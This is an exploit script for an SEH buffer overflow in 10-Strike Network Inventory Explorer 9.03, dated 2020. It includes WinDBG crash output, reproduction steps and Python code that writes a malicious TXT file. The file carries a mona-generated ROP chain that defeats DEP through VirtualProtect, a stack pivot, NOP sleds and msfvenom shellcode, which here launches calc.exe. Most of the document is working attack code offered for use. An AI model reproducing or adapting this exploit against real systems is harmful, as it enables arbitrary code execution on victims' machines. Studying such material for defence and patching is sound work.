10-Strike Network Inventory Explorer 9.03 – ‘Read from File’ Buffer Overflow (SEH) (ROP)
# Exploit Title: 10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP) # Date: 2020-03-30 # Exploit Author: Hodorsec # Version: 9.03 # Software Link: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe # Vendor Homepage: https://www.10-strike.com # Tested on: Win8.1 x64 - Build 9600 # Description: # - Exploits the functionality to load a list of computers from a file # - Some DLL's and the main EXE don't rebase, which allowed for some instruction reusage for ROP # - Used a jump after ROP to go to a buffer for more space # Reproduction: # - Run the script, a TXT file will be generated # - Open the program and click on tab "Computers" # - Click the button "From Text File" and select the generated TXT file # - Clck OK and check results # WinDBG initial crash output: # (f54.f48): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\10-Strike Network Inventory Explorer\NetworkInventoryExplorer.exe # eax=000013d3 ebx=0018f778 ecx=000002e4 edx=0018f7c0 esi=08fd8d8c edi=00190000 # eip=00402b47 esp=0018f6e4 ebp=0018f73c iopl=0 nv up ei pl nz na po cy # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210203 # NetworkInventoryExplorer+0x2b47: # 00402b47 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] # 0:000> g # (f54.f48): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=0018f700 ebx=00420244 ecx=00000002 edx=08fd854c esi=0048b11c edi=08f4f388 # eip=41414141 esp=0018f8dc ebp=41414141 iopl=0 nv up ei pl nz na po nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 # 41414141 ?? ??? #!/usr/bin/python import sys, struct filename = "poc_10_strike_nie.txt" # Maximum length maxlen = 5000 # Offsets crash_esi = 2145 # Initial space until ESI buffer filling crash_seh = 217 # SEH crash_nseh = crash_seh - 4 # NSEH landingpad = 310 # Space for RET NOP landingpad after stackpivoting # Shellcode # msfvenom -p windows/exec cmd=calc.exe -v shellcode -f python -b "\x0a\x0d\x00\x5c\x3a" exitfunc=thread # Payload size: 220 bytes shellcode = b"" shellcode += b"\xda\xdb\xd9\x74\x24\xf4\x5f\x2b\xc9\xbd\x06" shellcode += b"\xa7\x5d\x4b\xb1\x31\x83\xef\xfc\x31\x6f\x14" shellcode += b"\x03\x6f\x12\x45\xa8\xb7\xf2\x0b\x53\x48\x02" shellcode += b"\x6c\xdd\xad\x33\xac\xb9\xa6\x63\x1c\xc9\xeb" shellcode += b"\x8f\xd7\x9f\x1f\x04\x95\x37\x2f\xad\x10\x6e" shellcode += b"\x1e\x2e\x08\x52\x01\xac\x53\x87\xe1\x8d\x9b" shellcode += b"\xda\xe0\xca\xc6\x17\xb0\x83\x8d\x8a\x25\xa0" shellcode += b"\xd8\x16\xcd\xfa\xcd\x1e\x32\x4a\xef\x0f\xe5" shellcode += b"\xc1\xb6\x8f\x07\x06\xc3\x99\x1f\x4b\xee\x50" shellcode += b"\xab\xbf\x84\x62\x7d\x8e\x65\xc8\x40\x3f\x94" shellcode += b"\x10\x84\x87\x47\x67\xfc\xf4\xfa\x70\x3b\x87" shellcode += b"\x20\xf4\xd8\x2f\xa2\xae\x04\xce\x67\x28\xce" shellcode += b"\xdc\xcc\x3e\x88\xc0\xd3\x93\xa2\xfc\x58\x12" shellcode += b"\x65\x75\x1a\x31\xa1\xde\xf8\x58\xf0\xba\xaf" shellcode += b"\x65\xe2\x65\x0f\xc0\x68\x8b\x44\x79\x33\xc1" shellcode += b"\x9b\x0f\x49\xa7\x9c\x0f\x52\x97\xf4\x3e\xd9" shellcode += b"\x78\x82\xbe\x08\x3d\x6c\x5d\x99\x4b\x05\xf8" shellcode += b"\x48\xf6\x48\xfb\xa6\x34\x75\x78\x43\xc4\x82" shellcode += b"\x60\x26\xc1\xcf\x26\xda\xbb\x40\xc3\xdc\x68" shellcode += b"\x60\xc6\xbe\xef\xf2\x8a\x6e\x8a\x72\x28\x6f" # ROP chain def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x7c344efe, # POP EDX # RETN [MSVCR71.dll] 0x61e9b30c, # ptr to &VirtualProtect() [IAT sqlite3.dll] 0x010283e5, # MOV EAX,DWORD PTR DS:[EDX] # RETN [NetworkInventoryExplorer.exe] 0x010296a1, # XCHG EAX,ESI # ADD AL,BYTE PTR DS:[ECX] # RETN [NetworkInventoryExplorer.exe] 0x61e7555f, # POP EBP # RETN [sqlite3.dll] 0x61e63eaf, # & push esp # ret 0x04 [sqlite3.dll] 0x7c37678f, # POP EAX # RETN [MSVCR71.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x7c34d749, # NEG EAX # RETN [MSVCR71.dll] 0x0102a8a0, # POP EBX # RETN [NetworkInventoryExplorer.exe] 0xffffffff, # 0x61e0579d, # INC EBX # RETN [sqlite3.dll] 0x0102104a, # ADD EBX,EAX # RETN [NetworkInventoryExplorer.exe] 0x7c3458e6, # POP EDX # RETN [MSVCR71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll] 0x7c369c4a, # POP ECX # RETN [MSVCR71.dll] 0x7c38dfd7, # &Writable location [MSVCR71.dll] 0x7c34a40e, # POP EDI # RETN [MSVCR71.dll] 0x0101da30, # RETN (ROP NOP) [NetworkInventoryExplorer.exe] 0x01014218, # POP EAX # RETN [NetworkInventoryExplorer.exe] 0x90909090, # nop 0x01014244, # PUSHAD # RETN [NetworkInventoryExplorer.exe] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() # NOPPING retnop = struct.pack("<L", 0x61e0103e) # RET # sqlite3.dll prenop = "\x90" * 200 # Pre NOP's after jumping back in stack, sledding until shellcode postnop = "\x90" * 16 # Post NOP's after running ROP chain to disable DEP # Jump back on stack for payload space jmpback = "\xe9\x9f\xf9\xff\xff" # jmp 0xfffff9a4 # Jump back on stack for more space # Prefix prefix = "A" * crash_nseh # Junk until NSEH nseh = "B" * 4 # Junk again, no use for NSEH seh = struct.pack("<L", 0x0101ce0b) # ADD ESP,0BDC # RETN 0x0C ** [NetworkInventoryExplorer.exe] ** # Stackpivot suffix = prenop # Prenopping until shellcode suffix += shellcode # Magic! suffix += retnop * landingpad # RET NOP as a landingpad after stackpivot, still having DEP enabled suffix += rop_chain # Disable DEP suffix += postnop # Old school NOP-sledding suffix += jmpback # Jump! Just like van Halen suffix += "C" * (maxlen - len(prefix + nseh + seh + suffix)) # Junk for filling # Concatenate string for payload payload = prefix + nseh + seh + suffix # Put it all together try: file = open(filename,"wb") file.write(payload) file.close() print "[+] File " + filename + " with size " + str(len(payload)) + " created successfully" except: print "[!] Error creating file!" sys.exit(0) |